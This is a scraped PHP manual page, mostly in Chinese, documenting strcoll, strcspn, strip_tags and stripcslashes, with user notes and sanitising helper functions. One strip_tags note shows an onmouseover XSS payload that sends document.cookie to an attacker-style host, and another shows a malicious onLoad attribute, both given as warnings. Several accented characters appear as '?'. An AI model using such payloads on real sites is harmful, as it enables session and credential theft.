Note also that some locales behave differently with accented characters: some consider they are the same letter as the unaccented letter (with a minor collation order, e.g. French, Italian, Spanish), some consider they are distinct letters with an independant collation order (e.g. in the C locale, or in Nordic languages).
Finally, the collation string is not considering individual characters but instead groups of characters that form a single letter:
- for example "ch" or "CH" in Spanish which is always after all other strings beginning with 'c' or 'C', including "cz", but before 'd' or 'D';
- 'ss' and '?' in German;
- 'dz', 'DZ' and 'Dz' in some Central European languages written with the Latin script...
- UTF-8, UTF-16 (Unicode), S-JIS, Big5, ISO2022 character encoding of a locale (the suffix in the locale name) first decode the characters into the UCS4/ISO10646 code position before applying the rules of the language indicated by the main locale...
So be extremely careful to what you consider a "character", as it may just mean a encoding byte with no significance in the string collation algorithm: the first character of the string "cholera" in Spanish is "ch", not "c" !
frewuill at merlin-corp dot com 28-Feb-2000 02:49
Hey be sure the string you are comparing has not special characters like '\n' or something like that.


基于区域设置的字符串比较

  • ? strcmp
  • strcspn ?
  • PHP Manual
  • 字符串 函数
  • 基于区域设置的字符串比较

strcoll

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

strcoll — 基于区域设置的字符串比较

说明

strcoll(string $string1, string $string2): int

注意该比较区分大小写。和 strcmp() 不同，该函数不是二进制安全的。

strcoll() 使用当前区域设置进行比较。如果当前区域为 C 或 POSIX，该函数等同于 strcmp()。

参数

string1

第一个字符串。

string2

第二个字符串。

返回值

如果 string1 小于 string2 返回 < 0； 如果 string1 大于 string2 返回 > 0；如果两者相等，返回 0。

参见

  • preg_match() - 执行匹配正则表达式
  • strcmp() - 二进制安全字符串比较
  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • substr() - 返回字符串的子串
  • stristr() - strstr 函数的忽略大小写版本
  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • strstr() - 查找字符串的首次出现
  • setlocale() - 设置区域信息

User Contributed Notes

mkroese at eljakim dot nl 02-Aug-2019 09:13
You should not rely on this function to properly compare localized strings.

<?php
$a = "?sterreich";
$b = "Oesterreich";
$z = "Zeta";

echo setlocale(LC_ALL, 0) . PHP_EOL; // (on my mac: C/en_US.UTF-8/C/C/C/C)
echo strcoll($a, $b) . PHP_EOL; // 116
echo strcoll($b, $a) . PHP_EOL; // -116
echo strcoll($a, $z) . PHP_EOL; // 105

echo setlocale(LC_ALL, "de_DE") . PHP_EOL; // de_DE
echo strcoll($a, $b) . PHP_EOL; // 135
echo strcoll($b, $a) . PHP_EOL; // -135
echo strcoll($a, $z) . PHP_EOL; // 124

$collator = new Collator("de_DE");
echo $collator->compare($a, $b); // 1
echo $collator->compare($b, $a); // -1
echo $collator->compare($a, $z); // -1
?>

Using the Collator (from the intl module) you will get the expected result for e.g. sorting such that the string "?sterreich" will rank higher than "Zeta", but after "Oesterreich".

strcoll's output will differ per platform, locale and used c library, while the Collator will give more stable results on different platforms.
sakkarinlaohawisut15 at hotmail dot com 22-Mar-2003 11:31
strcoll()'s behavior is sometimes a little bit confusing. It depends on LC_COLLATE in your locale.

<?php

 $a = 'a';
 $b = 'A';

 print strcmp ($a, $b) . "\n"; // prints 1

setlocale (LC_COLLATE, 'C');
 print "C: " . strcoll ($a, $b) . "\n"; // prints 1

 setlocale (LC_COLLATE, 'de_DE');
 print "de_DE: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'de_CH');
print "de_CH: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'en_US');
 print "en_US: " . strcoll ($a, $b) . "\n"; // prints -2

?>

This is useful e. g. if want to sort an array by using strcoll:

<?php

 $a = array ('a', 'A', '?', '?', 'b', 'B');

 setlocale (LC_COLLATE, 'C');
 usort ($a, 'strcoll');
 print_r ($a);

?>

This is like sort($a):
 Array
 (
    [0] => A
    [1] => B
  [2] => a
    [3] => b
    [4] => ?
    [5] => ?
 )

<?php

 setlocale (LC_COLLATE, 'de_DE');
usort ($a, 'strcoll');
 print_r ($a)

?>
This is completely different:
 Array
 (
    [0] => a
    [1] => A
    [2] => ?
    [3] => ?
    [4] => b
  [5] => B
 )
27-Aug-2002 07:05
Note that some platforms implement strcmp() and strcasecmp() according to the current locale when strings are not binary equal, so that strcmp() and strcoll() will return the same value! This depends on how the PHP strcmp() function is compiled (i.e. if it uses the platform specific strcmp() found in its standard library!).
In that case, the only difference between strcoll() and strcmp() is that strcoll() may return 0 for distinct strings(i.e. consider strings are equal) while strcmp() will differentiate them if they have distinct binary encoding! This typically occurs on Asian systems.
What you can be sure is that strcmp() will always differentiate strings that are encoded differently, but the relative order may still use the current locale setting for collation order!


获取不匹配遮罩的起始子字符串的长度

  • ? strcoll
  • strip_tags ?
  • PHP Manual
  • 字符串 函数
  • 获取不匹配遮罩的起始子字符串的长度

strcspn

(PHP 4, PHP 5, PHP 7, PHP 8)

strcspn — 获取不匹配遮罩的起始子字符串的长度

说明

strcspn(
string $string,
string $characters,
int $offset = 0,
?int $length = null
): int

返回 string 中，所有字符都不存在于 characters 范围的起始子字符串的长度。

如果省略 offset 和 length，则将检查所有的 string。如果包含前面两个参数，那么跟调用 strcspn(substr($string, $offset, $length), $characters) 效果相同（参阅 substr 获取更新信息）。

参数

string

要检查的字符串。

characters

包含每个不允许的字符的字符串。

offset

string 开始搜索的位置。

如果给出的 offset 是非负数，然后 strcspn() 将会从 string 的 offset 位置开始检查字符串。例如。在字符串"abcdef"中，位置为 0 的字符是"a"，位置为 2 的字符是"c"，等等。

如果给出的 offset 是负数，则 strcspn() 将会从距离 string 末尾的第 offset 个位置开始检查字符串。

length

要检查的部分 string 的长度。

如果给出的 length 是非负数，然后将检查 string 中起始位置后的 length 字符。

If length is given and is negative, then string will be examined from the starting position up to length characters from the end of string.

返回值

Returns the length of the initial segment of string which consists entirely of characters not in characters.

Note:

When a offset parameter is set, the returned length is counted starting from this position, not from the beginning of string.

更新日志

版本 | 说明
8.0.0 | length 现在允许为 null。

示例

Example #1 strcspn() 示例

<?php
$a = strcspn('abcd', 'apple');
$b = strcspn('abcd', 'banana');
$c = strcspn('hello', 'l');
$d = strcspn('hello', 'world');
$e = strcspn('abcdhelloabcd', 'abcd', -9);
$f = strcspn('abcdhelloabcd', 'abcd', -9, -5);

var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
var_dump($e);
var_dump($f);
?>

以上示例会输出：

int(0)
int(0)
int(2)
int(2)
int(5)
int(4)

注释

Note: 此函数可安全用于二进制对象。

参见

  • strspn() - 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度

User Contributed Notes

nospam at nospam dot com 02-Sep-2016 04:31
It might not be clear from the example, that

strcspn('abcdhelloabcd', 'abcd', -9, -5) == 4

because it's only evaluating 'hell' which doesn't contain any mask, so returns strlen('hell').
legacyprog at routinz dot net 09-Dec-2010 07:20
When you use the third parameter remember that the function will return the number of characters it bypassed, which will *not* be the position in your source string.  It's a simple fix to just add your third parameter value to the function result to get the position in the first string where the scan stopped, but I didn't think of it at first.
Anonymous 16-Oct-2009 10:55
strcspn() can also be thought of as analogous to the following regular expression:
<?php
// where ... represents the mask of characters
preg_match('/[^ ...]/', substr($subject, $start, $length) );
?>
By this analogy, strcspn() can be used in place of some regular expressions to match a pattern without the overhead of a regex engine -- for example, ways to verify if an input string represents a binary value:
<?php
preg_match('/^[01]+$/i', $subject);
// or...
!preg_match('/[^01]/i', $subject);

// ...or using strcspn()
!strcspn($subject, '01');
?>
AT-HE (at_he AT hotmai1 DOT com) 27-Dec-2005 02:07
this function can be used like strspn(), except while that can be used to compare a string with an allowed pattern, this one can be use to compare a string with a FORBIDDEN pattern

so, to know if any forbidden character has a position inside our string, we can use (not tested with backslashes)...

<?php
// LARGE VERSION
$forbidden="\"\\?*:/@|<>";
if (strlen($filename) != strcspn($filename,$forbidden)) {
    echo "you cant create a file with that name!";
}

// SHORT VERSION
if (strlen($filename) - strcspn($filename,"\"\\?*:/@|<>")) {
    echo "i told you, you cant create that file";
}
?>
maskedcoder at hotmail dot com 10-Oct-2005 04:13
useful for finding beginning of quotes and/or tags in a variable containing html.
    $pos = strcspn($data, '<"\'');
will find the first occurance of either the beginning of a tag, or a double- or single-quoted string.


从字符串中去除 HTML 和 PHP 标签

  • ? strcspn
  • stripcslashes ?
  • PHP Manual
  • 字符串 函数
  • 从字符串中去除 HTML 和 PHP 标签

strip_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

strip_tags — 从字符串中去除 HTML 和 PHP 标签

说明

strip_tags(string $string, array|string|null $allowed_tags = null): string

该函数尝试返回给定的字符串 string 去除空字符、HTML 和 PHP 标签后的结果。它使用与函数 fgetss() 一样的机制去除标签。

参数

string

输入字符串。

allowed_tags

使用可选的第二个参数指定不被去除的标签列表。要么是 string，要么自 PHP 7.4.0 起是 array。有关此参数的格式，请参考以下示例：

Note:

HTML 注释和 PHP 标签也会被去除。这里是硬编码处理的，所以无法通过 allowed_tags 参数进行改变。

Note:

将会忽略自闭合 XHTML 标签，allowed_tags 仅可用于非自闭合标签。例如，要同时允许 <br> 和 <br/>，应该使用：

<?php
strip_tags($input, '<br>');
?>

返回值

返回处理后的字符串。

更新日志

版本 | 说明
8.0.0 | allowed_tags 允许为 null。
7.4.0 | allowed_tags 现在可以接受 array。

示例

Example #1 strip_tags() 示例

<?php
$text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo strip_tags($text);
echo "\n";

// 允许 <p> 和 <a>
echo strip_tags($text, '<p><a>');

// 自 PHP 7.4.0 起，上面的行可以写成：
// echo strip_tags($text, ['p', 'a']);
?>

以上示例会输出：

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

注释

Warning

此函数不能用于尝试阻拦 XSS 攻击。根据输出的上下文选择更合适的函数（像 htmlspecialchars()）或者其它方式。

Warning

由于 strip_tags() 无法实际验证 HTML，不完整或者破损标签将导致更多的数据被删除。

Warning

该函数不会修改 allowed_tags 参数中指定的允许标记的任何属性，包括 style 和 onmouseover 属性，用户可能会在提交的内容中恶意滥用这些属性，从而展示给其他用户。

Note:

输入 HTML 标签名字如果大于 1023 字节(bytes)将会被认为是无效的，无论 allowed_tags 参数是怎样的。

参见

  • htmlspecialchars() - 将特殊字符转换为 HTML 实体

User Contributed Notes

makogon-vs at yandex dot ru 14-Oct-2023 01:08
One of the most ridiculous and quite common variations of the use of this function, which is often encountered among newcomers to the world of programming, is the use of this function when processing query variables:

<?php
$search = isset($_GET['search']) ? strip_tags($_GET['search']) : '';
?>

I don't know the root cause of where this "fashion" came from, perhaps from yet another low-quality book on PHP at the beginning of the century. But the fact remains that this construction is used even now, in the days of PHP8, not only by beginners, but also by developers of commercial systems.

Please do not use this function in the manner described above. This doesn't make any practical sense.

The HTML code removal function has nothing to do with data validation, much less the topic of SQL injections.

Also, you should not use this function when processing data before writing it to the database. It sounds strange, but you can never be sure that when using this function in the corporate system you are designing, you will not lose important incoming data that may (or will eventually become) come in HTML format.
A good practice for building systems is to sketch out the data in its original form, "as is," but you can provide this data in client code according to current business requirements.
Patrick dot Janser at Gmail 21-Sep-2023 01:48
CAUTION: I noticed that strip_tags(), tested on PHP 8.2.10, will NOT work if you have some spaces between the "<" and the tag name, which is still considered as valid HTML. So this can get very problematic depending on your HTML source. Example:

<?php

$html = <<<END_OF_HTML
<p>This will be ok.</p>
< p >But this will not!< / p >
END_OF_HTML;

$output = strip_tags($html);
var_export($output);

?>

Will output: 'This will be ok.
< p >But this will not!< / p >'

It might be safer to use a proper filtering library such as http://htmlpurifier.org/ or to do it with a DOM parser.
abe 24-May-2021 05:30
Note, strip_tags will remove anything looking like a tag - not just tags - i.e. if you have tags in attributes then they may be removed too,

e.g.

    <?php
    $test='<div a="abc <b>def</b> hij" b="1">x<b>y</b>z</div>';
    $echo strip_tags($test, "<div><b>");

will result in

   <div a="abc bdef/b hij" b="1">x<b>y</b>z</div>
roger dot keulen at vaimo dot com 09-Sep-2019 12:01
https://bugs.php.net/bug.php?id=78346

After upgrading from v7.3.3 to v7.3.7 it appears nested "php tags" inside a string are no longer being stripped correctly by strip_tags().

This is still working in v7.3.3, v7.2 & v7.1. I've added a simple test below.

Test script:
---------------
<?php
$str = '<?= \'<?= 1 ?>\' ?>2';
var_dump(strip_tags($str));

Expected result:
----------------
string(1) "2"

Actual result:
--------------
string(5) "' ?>2"
D Mo 16-Apr-2018 12:23
When process a bulk of strings, the stripping of tags including their content on basis of regular expression is very slow. This function may help:

<?php
/**
 * Removes passed tags with their content.
 *
 * @param array $tagsToRemove List of tags to remove
 * @param $haystack String to cleanup
 * @return string
 */
function removeTagsWithTheirContent(array $tagsToRemove, $haystack)
{
    $currTag = '';
    $currPos = false;

    $initSearch = function (&$currTag, &$currPos, $tagsToRemove, $haystack) {
        $currTag = '';
        $currPos = false;
        foreach ($tagsToRemove as $tag) {
            $tempPos = stripos($haystack, '<'.$tag);
            if ($tempPos !== false && ($currPos === false || $tempPos < $currPos)) {
                $currPos = $tempPos;
                $currTag = $tag;
            }
        }
    };

    $substri_count = function ($haystack, $needle, $offset, $length) {
        $haystack = strtolower($haystack);
        return substr_count($haystack, $needle, $offset, $length);
    };

    $initSearch($currTag, $currPos, $tagsToRemove, $haystack);
    while ($currPos !== false) {
        $minTagLength = strlen($currTag) + 2;
        $tempPos = $currPos + $minTagLength;
        $tagEndPos = stripos($haystack, '</'.$currTag.'>', $tempPos);
        // process nested tags
        if ($tagEndPos !== false) {
            $nestedCount = $substri_count($haystack, '<' . $currTag, $tempPos, $tagEndPos - $tempPos);

            for ($i = $nestedCount; $i > 0; $i--) {
                $lastValidPos = $tagEndPos;
                $tagEndPos = stripos($haystack, '</' . $currTag . '>', $tagEndPos + 1);
                if ($tagEndPos === false) {
                    $tagEndPos = $lastValidPos;
                    break;
                }
            }
        }

        if ($tagEndPos === false) {
            // invalid html, end search for current tag
            $tagsToRemove = array_diff($tagsToRemove, [$currTag]);
        } else {
            // remove current tag with its content
            $haystack = substr($haystack, 0, $currPos)
                // get string after "</$tag>"
                .substr($haystack, $tagEndPos + strlen($currTag) + 3);
        }

        $initSearch($currTag, $currPos, $tagsToRemove, $haystack);
    }

    return $haystack;
}
?>
Anonymous 05-Apr-2017 12:05
Just bzplan's function with the option to choose what tags are replaced for

function rip_tags($string, $rep = ' ') {

    // ----- remove HTML TAGs -----
    $string = preg_replace ('/<[^>]*>/', $rep, $string);

    // ----- remove control characters -----
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", $rep, $string);   // --- replace with space
    $string = str_replace("\t", $rep, $string);   // --- replace with space

    // ----- remove multiple spaces -----
    $string = trim(preg_replace('/ {2,}/', $rep, $string));

    return $string;

}
stever at starburstpublishing dot com dot au 19-Sep-2016 06:09
Since strip_tags does not remove attributes and thus creates a potential XSS security hole, here is a small function I wrote to allow only specific tags with specific attributes and strip all other tags and attributes.

If you only allow formatting tags such as b, i, and p, and styling attributes such as class, id and style, this will strip all javascript including event triggers in formatting tags.

Note that allowing anchor tags or href attributes opens another potential security hole that this solution won't protect against. You'll need more comprehensive protection if you plan to allow links in your text.

<?php
function stripUnwantedTagsAndAttrs($html_str){
  $xml = new DOMDocument();
//Suppress warnings: proper error handling is beyond scope of example
  libxml_use_internal_errors(true);
//List the tags you want to allow here, NOTE you MUST allow html and body otherwise entire string will be cleared
  $allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
//List the attributes you want to allow here
  $allowed_attrs = array ("class", "id", "style");
  if (!strlen($html_str)){return false;}
  if ($xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
    foreach ($xml->getElementsByTagName("*") as $tag){
      if (!in_array($tag->tagName, $allowed_tags)){
        $tag->parentNode->removeChild($tag);
      }else{
        foreach ($tag->attributes as $attr){
          if (!in_array($attr->nodeName, $allowed_attrs)){
            $tag->removeAttribute($attr->nodeName);
          }
        }
      }
    }
  }
  return $xml->saveHTML();
}
?>
Trititaty 14-Dec-2015 09:28
Features:
* allowable tags (as in strip_tags),
* optional stripping attributes of the allowable tags,
* optional comment preserving,
* deleting broken and unclosed tags and comments,
* optional callback function call for every piece processed allowing for flexible replacements.

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
  $allowable_tags = array_map( 'strtolower', array_filter( // lowercase
      preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names
      function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken
  ) );
  $comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
  foreach ( $comments_and_stuff as $i => $comment_or_stuff ) {
    if ( $i % 2 ) { // html comment
      if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
        $comments_and_stuff[$i] = '';
      }
    } else { // stuff between comments
      $tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
      foreach ( $tags_and_text as $j => $tag_or_text ) {
        $is_broken = false;
        $is_allowable = true;
        $result = $tag_or_text;
        if ( $j % 2 ) { // tag
          if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
            $tag = strtolower( $matches[2] );
            if ( in_array( $tag, $allowable_tags ) ) {
              if ( $strip_attrs ) {
                $opening = $matches[1];
                $closing = ( $opening === '</' ) ? '>' : $closing;
                $result = $opening . $tag . $closing;
              }
            } else {
              $is_allowable = false;
              $result = '';
            }
          } else {
            $is_broken = true;
            $result = '';
          }
        } else { // text
          $tag = false;
        }
        if ( !$is_broken && isset( $callback ) ) {
          // allow result modification
          call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
        }
        $tags_and_text[$j] = $result;
      }
      $comments_and_stuff[$i] = implode( '', $tags_and_text );
    }
  }
  $str = implode( '', $comments_and_stuff );
  return $str;
}
?>

Callback arguments:
* &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed;
* $tag_or_text: original piece of text or a tag (see below);
* $tag: false for text between tags, lowercase tag name for tags;
* $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags
Callback function isn't called for comments and broken tags.

Caution: the function doesn't fully validate tags (the more so HTML itself), it just force strips those obviously broken (in addition to stripping forbidden tags). If you want to get valid tags then use strip_attrs option, though it doesn't guarantee tags are balanced or used in the appropriate context. For complex logic consider using DOM parser.
Dr. Gianluigi &#34;Zane&#34; Zanettini 22-Oct-2015 07:52
A word of caution. strip_tags() can actually be used for input validation as long as you remove ANY tag. As soon as you accept a single tag (2nd parameter), you are opening up a security hole such as this:

<acceptedTag onLoad="javascript:malicious()" />

Plus: regexing away attributes or code block is really not the right solution. For effective input validation when using strip_tags() with even a single tag accepted, http://htmlpurifier.org/ is the way to go.
doug at exploittheweb dot com 11-Aug-2015 10:17
"5.3.4    strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags."

This is poorly worded.

The above seems to be saying that, since 5.3.4, if you don't specify "<br/>" in allowable_tags then "<br/>" will not be stripped... but that's not actually what they're trying to say.

What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case.

So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)".

i.e.

pre-5.3.4: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // strips <br/> because it wasn't explicitly specified in allowable_tags

5.3.4 and later: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // does not strip <br/> because PHP matches it with <br> in allowable_tags
valentin dot boschatel at evalandgo dot com 26-May-2015 09:41
Hi,

I havee a problem with this function. I want use this symbol in my text ( < ), but it doesn't work because I added character stuck to that symbol.

Exemple :
<?php
$test = '<p><span style="color: #ff0000; background-color: #000000;">Complex</span> <span style="font-family: impact,chicago;">text <50% </span> <a href="http://exempledomain.com/"><em>with</em></a> <span style="font-size: 36pt;"><strong>tags</strong></span></p>';

echo strip_tags('$test');
// Outputs : Complex text
?>

I made a function for this :

Function:
<?php
function strip_tags_review($str, $allowable_tags = '') {

    preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($allowable_tags), $tags);
    $tags = array_unique($tags[1]);

    if(is_array($tags) AND count($tags) > 0) {
        $pattern = '@<(?!(?:' . implode('|', $tags) . ')\b)(\w+)\b.*?>(.*?)</\1>@i';
    }
    else {
        $pattern = '@<(\w+)\b.*?>(.*?)</\1>@i';
    }

    $str = preg_replace($pattern, '$2', $str);
    return preg_match($pattern, $str) ? strip_tags_review($str, $allowable_tags) : $str;
}

echo strip_tags_review($test);
// Outputs: Complex text <50%  with tags

echo strip_tags_review($test, '<a>');
// Outputs: Complex text <50%  <a href="http://exempledomain.com">with</a> tags
?>
fernando at zauber dot es 10-Nov-2014 11:45
As you probably know, the native function strip_tags don't work very well with malformed HTML when you use the allowed tags parameter.
This is a very simple but effective function to remove html tags. It takes a list (array) of allowed tags as second parameter:

<?php
function flame_strip_tags($html, $allowed_tags=array()) {
  $allowed_tags=array_map(strtolower,$allowed_tags);
  $rhtml=preg_replace_callback('/<\/?([^>\s]+)[^>]*>/i', function ($matches) use (&$allowed_tags) {
    return in_array(strtolower($matches[1]),$allowed_tags)?$matches[0]:'';
  },$html);
  return $rhtml;
}
?>

The function works reasonably well with invalid/bad formatted HTML.

Use:

<?php
$allowed_tags=array("h1","a");
$html=<<<EOD
<h1>Example</h1>
<dt><a href='/manual/en/getting-started.php'>Getting Started</a></dt>
    <dd><a href='/manual/en/introduction.php'>Introduction</a></dd>
    <dd><a href='/manual/en/tutorial.php'>A simple tutorial</a></dd>
<dt><a href='/manual/en/langref.php'>Language Reference</a></dt>
    <dd><a href='/manual/en/language.basic-syntax.php'>Basic syntax</a></dd>
    <dd><a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a></dd>
</dl>
EOD;
echo flame_strip_tags($html,$allowed_tags);
?>

The output will be:

<h1>Example</h1>
<a href='/manual/en/getting-started.php'>Getting Started</a>
<a href='/manual/en/introduction.php'>Introduction</a>
<a href='/manual/en/tutorial.php'>A simple tutorial</a>
<a href='/manual/en/langref.php'>Language Reference</a>
<a href='/manual/en/language.basic-syntax.php'>Basic syntax</a>
<a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a>
bnt dot gloria at outlook dot com 10-Jul-2014 03:52
With allowable_tags, strip-tags is not safe.

<?php

$str= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo $str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>
obeyer at popsugar dot com 10-Jan-2014 11:50
actually, for PHP 5.4.19, if you want to add line breaks <br> to allowable tags, you should use "<br>". Both <br/> and <br /> in allowable tags won't do anything, and line breaks will be stripped
bzplan at web dot de 07-Oct-2012 07:57
a HTML code like this:

<?php
$html = '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
';
?>

with <?php $str = strip_tags($html); ?>
... the result is:

$str = 'color is bluesize is huge
material is wood';

notice: the words 'blue' and 'size' grow together :(
and line-breaks are still in new string $str

if you need a space between the words (and without line-break)
use my function: <?php $str = rip_tags($html); ?>
... the result is:

$str = 'color is blue size is huge material is wood';

the function:

<?php
// --------------------------------------------------------------

function rip_tags($string) {

    // ----- remove HTML TAGs -----
    $string = preg_replace ('/<[^>]*>/', ' ', $string);

    // ----- remove control characters -----
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", ' ', $string);   // --- replace with space
    $string = str_replace("\t", ' ', $string);   // --- replace with space

    // ----- remove multiple spaces -----
    $string = trim(preg_replace('/ {2,}/', ' ', $string));

    return $string;

}

// --------------------------------------------------------------
?>

the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags()
... then remove control characters and multiple spaces
:)
tom at cowin dot us 27-Aug-2010 07:04
With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it...

<?php

    function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
    {
        mb_regex_encoding('UTF-8');
        //replace MS special characters first
        $search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
        $replace = array('\'', '\'', '"', '"', '-');
        $text = preg_replace($search, $replace, $text);
        //make sure _all_ html entities are converted to the plain ascii equivalents - it appears
        //in some MS headers, some html entities are encoded and some aren't
        $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
        //try to strip out any C style comments first, since these, embedded in html comments, seem to
        //prevent strip_tags from removing html comments (MS Word introduced combination)
        if(mb_stripos($text, '/*') !== FALSE){
            $text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
        }
        //introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be
        //'<1' becomes '< 1'(note: somewhat application specific)
        $text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
        $text = strip_tags($text, $allowed_tags);
        //eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one
        $text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
        //strip out inline css and simplify style tags
        $search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
        $replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
        $text = preg_replace($search, $replace, $text);
        //on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears
        //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains
        //some MS Style Definitions - this last bit gets rid of any leftover comments */
        $num_matches = preg_match_all("/\<!--/u", $text, $matches);
        if($num_matches){
              $text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
        }
        return $text;
    }
?>
CEO at CarPool2Camp dot org 17-Feb-2009 11:10
Note the different outputs from different versions of the same tag:

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br>');
var_dump($new);  // OUTPUTS string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br/>');
var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br />');
var_dump($new); // OUTPUTS string(11) "EachNewLine"
?>
mariusz.tarnaski at wp dot pl 12-Nov-2008 08:05
Hi. I made a function that removes the HTML tags along with their contents:

Function:
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

  preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
  $tags = array_unique($tags[1]);

  if(is_array($tags) AND count($tags) > 0) {
    if($invert == FALSE) {
      return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
    }
    else {
      return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
    }
  }
  elseif($invert == FALSE) {
    return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
  }
  return $text;
}
?>

Sample text:
$text = '<b>sample</b> text with <div>tags</div>';

Result for strip_tags($text):
sample text with tags

Result for strip_tags_content($text):
 text with

Result for strip_tags_content($text, '<b>'):
<b>sample</b> text with

Result for strip_tags_content($text, '<b>', TRUE);
 text with <div>tags</div>

I hope that someone is useful :)
cesar at nixar dot org 07-Mar-2006 11:44
Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return is_array($value) ?
    array_map('strip_tags_deep', $value) :
    strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>


反引用一个使用 addcslashes 转义的字符串

  • ? strip_tags
  • stripos ?
  • PHP Manual
  • 字符串 函数
  • 反引用一个使用 addcslashes 转义的字符串

stripcslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

stripcslashes — 反引用一个使用 addcslashes() 转义的字符串

说明

stripcslashes(string $string): string

返回反转义后的字符串。可识别类似 C 语言的 \n，\r，... 八进制以及十六进制的描述。

参数

string

需要反转义的字符串。

返回值

返回反转义后的字符串。

示例

Example #1 stripcslashes() 示例

<?php

var_dump(stripcslashes('I\'d have a coffee.\nNot a problem.') === "I'd have a coffee.
Not a problem."); // true
?>

参见

  • addcslashes() - 以 C 语言风格使用反斜线转义字符串中的字符

User Contributed Notes

rafayhingoro[at]hotmail[dot]com 07-Feb-2017 11:00
stripcslashes does not simply skip the C-style escape sequences \a, \b, \f, \n, \r, \t and \v, but converts them to their actual meaning.

So
<?php
stripcslashes('\n') == "\n"; //true;

$str = "we are escaping \r\n"; //we are escaping

?>
